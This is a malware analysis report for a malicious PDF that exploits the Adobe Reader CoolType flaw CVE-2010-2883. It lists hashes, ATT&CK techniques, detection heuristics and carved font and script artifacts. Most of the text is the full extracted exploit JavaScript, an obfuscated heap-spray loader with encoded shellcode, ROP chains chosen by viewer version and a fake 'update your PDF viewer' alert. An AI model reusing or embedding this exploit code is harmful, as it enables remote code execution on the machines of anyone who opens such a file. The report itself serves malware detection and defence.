Malicious PDF — malware analysis report

Static analysis result for SHA-256 572dbc440f725273…

MALICIOUS

PDF

242.6 KB First seen: 2026-05-10
MD5: 1e04af628d8a0fb24ff400cb206de773 SHA-1: 2398e49b9d8e947234d8531236d9bd7e402fb2e0 SHA-256: 572dbc440f7252731580bc5f2135b3f0da85adf8ed180ab89a1e6159dc9ed3f1
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and the use of ASCIIHexDecode filters, which are often employed to obfuscate malicious content. The presence of an embedded JavaScript stream (javascript_obj0026_000.js) strongly suggests an attempt to execute arbitrary code. This script is likely responsible for downloading and executing a second-stage payload, a common technique for malware delivery. While the document body itself is heavily obfuscated and does not provide clear textual lures, the technical indicators point towards a malicious PDF designed for exploitation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9295

Heuristics 8

  • Adobe Reader CoolType SING font exploit — CVE-2010-2883 critical CVE likely CVE_2010_2883
    PDF embeds a TrueType/OpenType font with an actual SING table and pairs it with JavaScript heap-spray shellcode. This matches the public Adobe Reader CoolType SING exploit shape for CVE-2010-2883.
  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xfa/promoted-desc/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.7/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-form/2.8/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0026_000.js pdf-javascript-stream PDF /JS object 26 at offset 0x47BF 9609 bytes
SHA-256: 1d1885b6c800938e7ec00d369726a3bf52b65eebedcdd60cc006c36da6cab07f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 89 of 154 identifiers look randomly generated (e.g. 'M57bcM4a80M156aM4a82MffffMffffM0022M00') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var Juaidai = 12;
var Tolbqnpp = "";

function Vnyhayduv(Gklcbtj,times){
 Ipugpqlbvtw = ""
 var Otdwcwgpeznj;
 var Juaidai = 723;
 for (Otdwcwgpeznj=0;Otdwcwgpeznj<times;Otdwcwgpeznj++){
 Juaidai = 1;
 Ipugpqlbvtw = Ipugpqlbvtw + Gklcbtj;
 }
 return Ipugpqlbvtw;
}

function Oovachwigu(Jxapyyyksdkd){
 var Juaidai = 12;
 return unescape(Jxapyyyksdkd);
}


var Pimfmtggbh = Tolbqnpp+"&%!".charAt(1)+Tolbqnpp;
Pimfmtggbh = Tolbqnpp + Pimfmtggbh + Tolbqnpp+"u"+Tolbqnpp;
Vbiiclkvlyyl = "";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M52e8M0002M5400M7265M696dM616eM657";
Vbiiclkvlyyl = Vbiiclkvlyyl +"4M7250M636fM7365M0073M6f4cM6461M69";
Vbiiclkvlyyl = Vbiiclkvlyyl +"4cM7262M7261M4179M5300M7465M6946M6";
Vbiiclkvlyyl = Vbiiclkvlyyl +"56cM6f50M6e69M6574M0072M6552M6461M";
Vbiiclkvlyyl = Vbiiclkvlyyl +"6946M656cM4300M6572M7461M4665M6c69";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M4165M5700M6972M6574M6946M656cM430";
Vbiiclkvlyyl = Vbiiclkvlyyl +"0M6f6cM6573M6148M646eM656cM4700M74";
Vbiiclkvlyyl = Vbiiclkvlyyl +"65M6554M706dM6150M6874M0041M516aM5";
Vbiiclkvlyyl = Vbiiclkvlyyl +"336Mc931M8b64M3071M768bM8b0cM1c76M";
Vbiiclkvlyyl = Vbiiclkvlyyl +"468bM8b08M207eM368bM3f81M006bM0065";
Vbiiclkvlyyl = Vbiiclkvlyyl +"Mf075M7f81M7204M6e00M7500Mc3e7Mc38";
Vbiiclkvlyyl = Vbiiclkvlyyl +"9M5b03M8d3cM185bM138bM8166M0bfaM75";
Vbiiclkvlyyl = Vbiiclkvlyyl +"01M8b05M6053M05ebM538bMeb70M0100M8";
Vbiiclkvlyyl = Vbiiclkvlyyl +"bc2M1c5aMc301M4a8bM0120M8bc1M2472M";
Vbiiclkvlyyl = Vbiiclkvlyyl +"c601M31c3M56c0M9d8bM02ebM0000Mbd8b";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M02e7M0000M3c03M5183Ma6f3M5e59M037";
Vbiiclkvlyyl = Vbiiclkvlyyl +"4Meb40M8be6Mf395M0002M3100M66c9M0c";
Vbiiclkvlyyl = Vbiiclkvlyyl +"8bM8b42Mef9dM0002M8b00Me7bdM0002M0";
Vbiiclkvlyyl = Vbiiclkvlyyl +"300M8b3cM8dc3M0075Mc031Mf789Mc931M";
Vbiiclkvlyyl = Vbiiclkvlyyl +"f249M57aeMd9f7M5649Mb2e8MffffM5eff";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M3e89M8d5eM655dMde39Me272M8dc3Mf79";
Vbiiclkvlyyl = Vbiiclkvlyyl +"dM0002M5300Mff53M5855Md801M00c7M6c";
Vbiiclkvlyyl = Vbiiclkvlyyl +"68M2e70M40c7M6304M6c70M3100M89c0M4";
Vbiiclkvlyyl = Vbiiclkvlyyl +"2c2Md189Me1c1M421eM5050M5052M5150M";
Vbiiclkvlyyl = Vbiiclkvlyyl +"9d8dM02f7M0000Mff53M3655M31c3M50c0";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M8d8dM02dfM0000M6a51M8d04Md78dM000";
Vbiiclkvlyyl = Vbiiclkvlyyl +"2M5100M4d8bM5165M55ffM8b2dMdf85M00";
Vbiiclkvlyyl = Vbiiclkvlyyl +"02M8500M74c0M8176MD7BDM0002M6A00M3";
Vbiiclkvlyyl = Vbiiclkvlyyl 

+"651M7453M906AM9090M9090M9090M9090M";
Vbiiclkvlyyl = Vbiiclkvlyyl 

+"9090M9090M9090M9090M9090M9090M9090";
Vbiiclkvlyyl = Vbiiclkvlyyl 

+"M9090M9090M9090M9090M9090M9090M909";
Vbiiclkvlyyl = Vbiiclkvlyyl 

+"0M9090M9090M9090M9090M9090M9090M90";
Vbiiclkvlyyl = Vbiiclkvlyyl 

+"90M9090M9090M8190MD7B5M0002MAF00MD";
Vbiiclkvlyyl = Vbiiclkvlyyl +"780M317EM50c0M8d8dM02dfM0000M198bM";
Vbiiclkvlyyl = Vbiiclkvlyyl +"9090M5351M8d8dM02d7M0000M8b51Me38d";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M0002M5100M55ffM8542M0fc0M6685Mfff";
Vbiiclkvlyyl = Vbiiclkvlyyl +"fM8bffMe385M0002M5000M55ffMc34cMd2";
Vbiiclkvlyyl = Vbiiclkvlyyl +"31Mdb31M6a52M5302Mf868MffffM52ffM5";
Vbiiclkvlyyl = Vbiiclkvlyyl +"5ffM5a1eMff3dMffffM737fM5232M8d53M";
Vbiiclkvlyyl = Vbiiclkvlyyl +"df8dM0002M5100M086aM8d8dM02d7M0000";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M5251M55ffM5a2dMf883M7e00M8b16Mdf8";
Vbiiclkvlyyl = Vbiiclkvlyyl +"5M0002M8300M08f8M0b75M858bM02d7M00";
Vbiiclkvlyyl = Vbiiclkvlyyl +"00M453bM7465M4203Mb6ebM6a52M5302M9";
Vbiiclkvlyyl = Vbiiclkvlyyl +"d8bM02dbM0000Mdbf7M5253M55ffM5a1eM";
Vbiiclkvlyyl = Vbiiclkvlyyl +"5dc3M11e8MfffeM89ffMe785M0002Me800";
Vbiiclkvlyyl = Vbiiclkvlyyl +"Mfe2cMffffM8d89M02ebM0000M9d89M02e";
Vbiiclkvlyyl = Vbiiclkvlyyl +"fM0000Mb589M02f3M0000M7ae8MfffeMe8";
Vbiiclkvlyyl = Vbiiclkvlyyl +"ffMff72MffffM5589Me865Mfe8fMffffM8";
Vbiiclkvlyyl = Vbiiclkvlyyl +"589M02e3M0000Mbae8MfffeM8dffMf79dM";
Vbiiclkvlyyl = Vbiiclkvlyyl +"0002M5300M55ffM2911M53dbM5353M0553";
Vbiiclkvlyyl = Vbiiclkvlyyl +"M17a0M0000Md0ffM4d8bM8d00Md7b5M000";
Vbiiclkvlyyl = Vbiiclkvlyyl +"2M8d00M00beM0002M0f00M8831M4606Mfe";
Vbiiclkvlyyl = Vbiiclkvlyyl +"39Mf775Mee89Mbd8dM02c9M0000M310fM0";
Vbiiclkvlyyl = Vbiiclkvlyyl +"688M3946M75feM4bf7M5353Md1ff";

var Enchfcuvtwn = (app.viewerVersion / 10.0);
Vbiiclkvlyyl = Vbiiclkvlyyl.replace(/M/g,Pimfmtggbh);
var Ycjygwhscgnv = this;
Vbiiclkvlyyl = Oovachwigu(Vbiiclkvlyyl);

function Htbcdm(Vbiiclkvlyyl,Bzubmlxlbf,Bkesxwjtsb){
 var Olalun = 1024;
 
 var Saqytin = Vnyhayduv(Bzubmlxlbf,Olalun);
 var Uipcwelcwl = Vnyhayduv(Bzubmlxlbf,Olalun-(Vbiiclkvlyyl.length/2))+Vbiiclkvlyyl;
 
 var FvzlbcjckcfOfFirstEntry = Vnyhayduv(Bzubmlxlbf,Olalun-18);
 var FvzlbcjckcfOfOtherEntry = Vnyhayduv(Bzubmlxlbf,Olalun-11);

 var Vxcuul = [];
 for( Otdwcwgpeznj = 0; Otdwcwgpeznj < 16-2; Otdwcwgpeznj++ ){
 Vxcuul.push( Saqytin );
 }
 Vxcuul.push(Uipcwelcwl);
 var Lvxgmunsmebw = Vxcuul.join("");

 Ycjygwhscgnv.Hpedba = new Array();
 var Wafaue = 0;
 for( Otdwcwgpeznj = 0; Otdwcwgpeznj < Bkesxwjtsb; Otdwcwgpeznj++ ){
 if (Otdwcwgpeznj == 0){
 Ycjygwhscgnv.Hpedba[Otdwcwgpeznj] = FvzlbcjckcfOfFirstEntry+Lvxgmunsmebw;
 } else{
 Ycjygwhscgnv.Hpedba[Otdwcwgpeznj] = FvzlbcjckcfOfOtherEntry+Lvxgmunsmebw;
 }
 }
}


Uzwnncyhd = "M4142M4241";
Uzwnncyhd = Uzwnncyhd.replace(/M/g,Pimfmtggbh);
Uzwnncyhd = Oovachwigu(Uzwnncyhd);


if ( app.platform == "WIN" ){ 
 if ( Enchfcuvtwn <= 0.5999 ) {
 app.alert("Please update your PDF viewer software.");
 } else if ( Enchfcuvtwn <= 0.6999999999 ) {
 global.Mvckuabj = Vnyhayduv(Uzwnncyhd,500)+Vbiiclkvlyyl;
 Ycjygwhscgnv.pageNum = 11;
 } else if ( Enchfcuvtwn <= 0.7999999999 ) {
 global.Mvckuabj = Vnyhayduv(Uzwnncyhd,500)+Vbiiclkvlyyl;
 Ycjygwhscgnv.pageNum = 12; 
 } else if ( Enchfcuvtwn <= 0.8999999999 ) {
 Lfobubh = "";
Lfobubh = Lfobubh +"M17f2M4a82M5000M4a84M630fM4a80M7ec9M4a";
Lfobubh = Lfobubh +"81M203cM4a82M57bcM4a80M156aM4a82M54e0M";
Lfobubh = Lfobubh +"4a82M0000M1000M0000M0000M0000M0000M000";
Lfobubh = Lfobubh +"2M0000M0102M0000M0000M0000M17f2M4a82M1";
Lfobubh = Lfobubh +"56aM4a82Mfe83M4a81Me982M4a81M0008M0000";
Lfobubh = Lfobubh +"M597dM4a80M7ec9M4a81M2038M4a82M57bcM4a";
Lfobubh = Lfobubh +"80M156aM4a82MffffMffffM0000M0000M0040M";
Lfobubh = Lfobubh +"0000M0000M0000M0000M0001M0000M0000M17f";
Lfobubh = Lfobubh +"2M4a82M156aM4a82Mfe83M4a81Me982M4a81M0";
Lfobubh = Lfobubh +"008M0000M597dM4a80M7ec9M4a81M2030M4a82";
Lfobubh = Lfobubh +"M57bcM4a80M156aM4a82MffffMffffM0022M00";
Lfobubh = Lfobubh +"00M0000M0000M0000M0000M0000M0001M17f2M";
Lfobubh = Lfobubh +"4a82M5004M4a84M630fM4a80M17f2M4a82M156";
Lfobubh = Lfobubh +"aM4a82Mfe83M4a81Me982M4a81M0030M0000M5";
Lfobubh = Lfobubh +"97dM4a80M7ec9M4a81M5004M4a84Ma649M4a81";
Lfobubh = Lfobubh +"M17f2M4a82M156aM4a82Mfe83M4a81Me982M4a";
Lfobubh = Lfobubh +"81M0020M0000M597dM4a80M17f2M4a82M156aM";
Lfobubh = Lfobubh +"4a82M00a0M4a82M7ec9M4a81M0034M0000M795";
Lfobubh = Lfobubh +"aM4a80M17f2M4a82M156aM4a82Mfe83M4a81Me";
Lfobubh = Lfobubh +"982M4a81M000aM0000M597dM4a80M7ec9M4a81";
Lfobubh = Lfobubh +"M2140M4a82M57bcM4a80MffffMffffMffffMff";
Lfobubh = Lfobubh +"ffMffffMffffM1000M0000M258bM5000M4a84M";
Lfobubh = Lfobubh +"4d4d";

 Lfobubh = Lfobubh.replace(/M/g,Pimfmtggbh);
 Lfobubh = Oovachwigu(Lfobubh);
 Djcxdzbvuhef = "";
Djcxdzbvuhef = Djcxdzbvuhef +"M12c4M4a80";

 Djcxdzbvuhef = Djcxdzbvuhef.replace(/M/g,Pimfmtggbh);
 Djcxdzbvuhef = Oovachwigu(Djcxdzbvuhef);
 
 Htbcdm(Lfobubh + Vbiiclkvlyyl,Djcxdzbvuhef,2000);
 Ycjygwhscgnv.pageNum = 13;
 } else if ( Enchfcuvtwn <= 0.9999999999 ) {
 Nircgsipef = "";
Nircgsipef = Nircgsipef +"M63a5M4a80M0000M4a8aM2196M4";
Nircgsipef = Nircgsipef +"a80M1f90M4a80M903cM4a84Mb69";
Nircgsipef = Nircgsipef +"2M4a80M1064M4a80M22c8M4a85M";
Nircgsipef = Nircgsipef +"0000M1000M0000M0000M0000M00";
Nircgsipef = Nircgsipef +"00M0002M0000M0102M0000M0000";
Nircgsipef = Nircgsipef +"M0000M63a5M4a80M1064M4a80M2";
Nircgsipef = Nircgsipef +"db2M4a84M2ab1M4a80M0008M000";
Nircgsipef = Nircgsipef +"0Ma8a6M4a80M1f90M4a80M9038M";
Nircgsipef = Nircgsipef +"4a84Mb692M4a80M1064M4a80Mff";
Nircgsipef = Nircgsipef +"ffMffffM0000M0000M0040M0000";
Nircgsipef = Nircgsipef +"M0000M0000M0000M0001M0000M0";
Nircgsipef = Nircgsipef +"000M63a5M4a80M1064M4a80M2db";
Nircgsipef = Nircgsipef +"2M4a84M2ab1M4a80M0008M0000M";
Nircgsipef = Nircgsipef +"a8a6M4a80M1f90M4a80M9030M4a";
Nircgsipef = Nircgsipef +"84Mb692M4a80M1064M4a80Mffff";
Nircgsipef = Nircgsipef +"MffffM0022M0000M0000M0000M0";
Nircgsipef = Nircgsipef +"000M0000M0000M0001M63a5M4a8";
Nircgsipef = Nircgsipef +"0M0004M4a8aM2196M4a80M63a5M";
Nircgsipef = Nircgsipef +"4a80M1064M4a80M2db2M4a84M2a";
Nircgsipef = Nircgsipef +"b1M4a80M0030M0000Ma8a6M4a80";
Nircgsipef = Nircgsipef +"M1f90M4a80M0004M4a8aMa7d8M4";
Nircgsipef = Nircgsipef +"a80M63a5M4a80M1064M4a80M2db";
Nircgsipef = Nircgsipef +"2M4a84M2ab1M4a80M0020M0000M";
Nircgsipef = Nircgsipef +"a8a6M4a80M63a5M4a80M1064M4a";
Nircgsipef = Nircgsipef +"80MaedcM4a80M1f90M4a80M0034";
Nircgsipef = Nircgsipef +"M0000Md585M4a80M63a5M4a80M1";
Nircgsipef = Nircgsipef +"064M4a80M2db2M4a84M2ab1M4a8";
Nircgsipef = Nircgsipef +"0M000aM0000Ma8a6M4a80M1f90M";
Nircgsipef = Nircgsipef +"4a80M9170M4a84Mb692M4a80Mff";
Nircgsipef = Nircgsipef +"ffMffffMffffMffffMffffMffff";
Nircgsipef = Nircgsipef +"M1000M0000M258bM0000M4a8aM4";
Nircgsipef = Nircgsipef +"d4d";

 Nircgsipef = Nircgsipef.replace(/M/g,Pimfmtggbh);
 Nircgsipef = Oovachwigu(Nircgsipef);
 Zxwhjjr = "";
Zxwhjjr = Zxwhjjr +"M1064M4a80";

 Zxwhjjr = Zxwhjjr.replace(/M/g,Pimfmtggbh);
 Zxwhjjr = Oovachwigu(Zxwhjjr);
 
 Htbcdm(Nircgsipef + Vbiiclkvlyyl,Zxwhjjr,2000);
 Ycjygwhscgnv.pageNum = 14;
 } else{
 app.alert("Please update your PDF viewer software.");
 }
}else{
 app.alert("Please update your PDF viewer software.");
}
font_00_sfnt_off000070c8.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x70C8 8084 bytes
SHA-256: e31f8c8507e52f29008d946a00becde9f839e34cb108985ce66167bf881adafa
font_10_sfnt_off000149fa.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x149FA 65932 bytes
SHA-256: 422bc5698ba5d9d4818f6a2d8b3abca2f723e713b44a15c390139d2c976a1388
font_11_sfnt_off0001e85c.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1E85C 65932 bytes
SHA-256: 7e24ee16c8b09ee74d61445f29c3c0a95abfdf17fc1008606394f159dbd0c106
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
font_12_sfnt_off000286ba.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x286BA 65932 bytes
SHA-256: 57e24925bc6bdb98d38e8b4ba3b87f80f75c5e49ea9a522486790d7dc6848549
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
font_13_sfnt_off000324e1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x324E1 65932 bytes
SHA-256: 1f068d668b316fcb46f0801be00137fb749cc7fda5ca15e442829d6c303d8f99
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)

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